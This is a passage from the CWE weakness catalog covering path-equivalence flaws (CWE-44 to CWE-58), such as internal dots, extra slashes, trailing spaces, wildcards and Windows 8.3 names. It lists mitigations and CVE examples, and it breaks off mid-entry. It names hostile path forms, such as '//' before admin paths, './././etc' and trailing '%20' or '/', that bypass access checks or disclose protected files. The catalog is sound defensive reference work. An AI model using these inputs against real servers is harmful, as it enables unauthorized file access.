Software Fault Patterns	SFP16		Path Traversal

CWE-44: Path Equivalence: 'file.name' (Internal Dot)

Weakness ID : 44

Structure : Simple

Abstraction : Variant



Description

The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	86
ParentOf		45	Path Equivalence: 'file...name' (Multiple Internal Dot)	95

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Internal Dot - 'file.ordir'
Software Fault Patterns	SFP16		Path Traversal

CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)

Weakness ID : 45

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	165	Improper Neutralization of Multiple Internal Special Elements	422
ChildOf	V	44	Path Equivalence: 'file.name' (Internal Dot)	94

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Relationship

An improper attempt to remove the internal dots from the string could lead to CWE-181 (Incorrect Behavior Order: Validate Before Filter).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Internal Dot - 'file...dir'
Software Fault Patterns	SFP16		Path Traversal

CWE-46: Path Equivalence: 'filename ' (Trailing Space)

Weakness ID : 46

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	417
ChildOf	E	41	Improper Resolution of Path Equivalence	86
CanPrecede	E	289	Authentication Bypass by Alternate Name	703

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2001-0693	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-0693
CVE-2001-0778	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-0778
CVE-2001-1248	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-1248
CVE-2004-0280	Source disclosure via trailing encoded space "%20"

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2004-0280
CVE-2004-2213	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2004-2213
CVE-2005-0622	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2005-0622
CVE-2005-1656	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2005-1656
CVE-2002-1603	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2002-1603
CVE-2001-0054	Multi-Factor Vulnerability (MFV). directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. https://www.cve.org/CVERecord?id=CVE-2001-0054
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure. https://www.cve.org/CVERecord?id=CVE-2002-1451

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Space - 'filedir '
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
649	Adding a Space to a File Extension

CWE-47: Path Equivalence: ' filename' (Leading Space)

Weakness ID : 47

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of leading space ('filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Leading Space - 'filedir'
Software Fault Patterns	SFP16		Path Traversal

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)

Weakness ID : 48

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences




Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. https://www.cve.org/CVERecord?id=CVE-2000-0293
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. https://www.cve.org/CVERecord?id=CVE-2001-1567

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Relationship

This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.

Relationship

Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			file(SPACE)name (internal space)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP16		Path Traversal

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)

Weakness ID : 49

Structure : Simple

Abstraction : Variant



Description

The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		162	Improper Neutralization of Trailing Special Elements	417
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences


Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2002-0253	Overlaps infoleak https://www.cve.org/CVERecord?id=CVE-2002-0253
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. https://www.cve.org/CVERecord?id=CVE-2001-0446
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/" https://www.cve.org/CVERecord?id=CVE-2004-0334
CVE-2001-0893	Read sensitive files with trailing "/" https://www.cve.org/CVERecord?id=CVE-2001-0893
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /. https://www.cve.org/CVERecord?id=CVE-2001-0892
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2004-1814

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir/ (trailing slash, trailing /)
Software Fault Patterns	SFP16		Path Traversal

CWE-50: Path Equivalence: '//multiple/leading/slash'

Weakness ID : 50

Structure : Simple

Abstraction : Variant

Description



The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		161	Improper Neutralization of Multiple Leading Special Elements	415
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences




Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash. https://www.cve.org/CVERecord?id=CVE-2002-1483
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. https://www.cve.org/CVERecord?id=CVE-1999-1456
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request. https://www.cve.org/CVERecord?id=CVE-2004-0578
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. https://www.cve.org/CVERecord?id=CVE-2002-0275
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. https://www.cve.org/CVERecord?id=CVE-2004-1032
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <code>http://www.example.com///file/</code> . https://www.cve.org/CVERecord?id=CVE-2002-1238
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to <code>admin/user.pl</code> preceded by <code>//</code> (double leading slash). https://www.cve.org/CVERecord?id=CVE-2004-1878
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and <code>..</code> sequences. https://www.cve.org/CVERecord?id=CVE-2005-1365
CVE-2000-1050	Access directory using multiple leading slash. https://www.cve.org/CVERecord?id=CVE-2000-1050
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. https://www.cve.org/CVERecord?id=CVE-2001-1072
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. https://www.cve.org/CVERecord?id=CVE-2004-0235

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			//multiple/leading/slash ('multiple leading slash')
Software Fault Patterns	SFP16		Path Traversal

CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID : 51

Structure : Simple

Abstraction : Variant


Description

The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1483	Read files with full pathname using multiple internal slash.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2002-1483

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple//internal/slash ('multiple internal slash')
Software Fault Patterns	SFP16		Path Traversal

CWE-52: Path Equivalence: '/multiple/trailing/slash/'

Weakness ID : 52

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		163	Improper Neutralization of Multiple Trailing Special Elements	418
ChildOf		41	Improper Resolution of Path Equivalence	86
CanPrecede		289	Authentication Bypass by Alternate Name	703

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same



input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1078	Directory listings in web server using multiple trailing slash https://www.cve.org/CVERecord?id=CVE-2002-1078

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple/trailing/slash// ('multiple trailing slash')
Software Fault Patterns	SFP16		Path Traversal

CWE-53: Path Equivalence: '\multiple\internal\backslash'

Weakness ID : 53

Structure : Simple

Abstraction : Variant



Description

The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		165	Improper Neutralization of Multiple Internal Special Elements	422
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\multiple\internal\backslash
Software Fault Patterns	SFP16		Path Traversal

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)**Weakness ID** : 54**Structure** : Simple**Abstraction** : Variant**Description**

The product accepts path input in the form of trailing backslash ('filedir\'') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	417
ChildOf	B	41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0847	web framework for .NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash) https://www.cve.org/CVERecord?id=CVE-2004-0847
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL https://www.cve.org/CVERecord?id=CVE-2004-0061

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir\ (trailing backslash)
Software Fault Patterns	SFP16		Path Traversal

CWE-55: Path Equivalence: './' (Single Dot Directory)

Weakness ID : 55

Structure : Simple

Abstraction : Variant


Description

The product accepts path input in the form of single dot directory exploit ('./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Scope	Impact	Likelihood
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. https://www.cve.org/CVERecord?id=CVE-2000-0004
CVE-2002-0304	Server allows remote attackers to read password-protected files via a ./ in the HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-0304
CVE-1999-1083	Possibly (could be a cleansing error) https://www.cve.org/CVERecord?id=CVE-1999-1083
CVE-2004-0815	"./././etc" cleansed to ".//etc" then "/etc" https://www.cve.org/CVERecord?id=CVE-2004-0815
CVE-2002-0112	Server allows remote attackers to view password protected files via ./ in the URL. https://www.cve.org/CVERecord?id=CVE-2002-0112

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			./ (single dot directory)
Software Fault Patterns	SFP16		Path Traversal

CWE-56: Path Equivalence: 'filedir*' (Wildcard)

Weakness ID : 56

Structure : Simple

Abstraction : Variant



Description

The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		155	Improper Neutralization of Wildcards or Matching Symbols	403
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation




Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-0696	List directories using desired path and "" https://www.cve.org/CVERecord?id=CVE-2004-0696
CVE-2002-0433	List files in web server using "*.ext" https://www.cve.org/CVERecord?id=CVE-2002-0433

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16		Path Traversal

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'

Weakness ID : 57

Structure : Simple

Abstraction : Variant

Description

The product contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/./readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation




Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-1152	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a /./, or (4) URL-encoded characters. https://www.cve.org/CVERecord?id=CVE-2001-1152
CVE-2000-0191	application check access for restricted URL before canonicalization https://www.cve.org/CVERecord?id=CVE-2000-0191
CVE-2005-1366	CGI source disclosure using "dirname/./cgi-bin" https://www.cve.org/CVERecord?id=CVE-2005-1366

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			dirname/fakechild/./realchild/filename
Software Fault Patterns	SFP16		Path Traversal

CWE-58: Path Equivalence: Windows 8.3 Filename

Weakness ID : 58

Structure : Simple

Abstraction : Variant

Description

The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.


Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	86

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

Observed Examples

Reference	Description
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names https://www.cve.org/CVERecord?id=CVE-1999-0012
CVE-2001-0795	Source code disclosure using 8.3 file name. https://www.cve.org/CVERecord?id=CVE-2001-0795



Reference	Description
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. https://www.cve.org/CVERecord?id=CVE-2005-0471

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
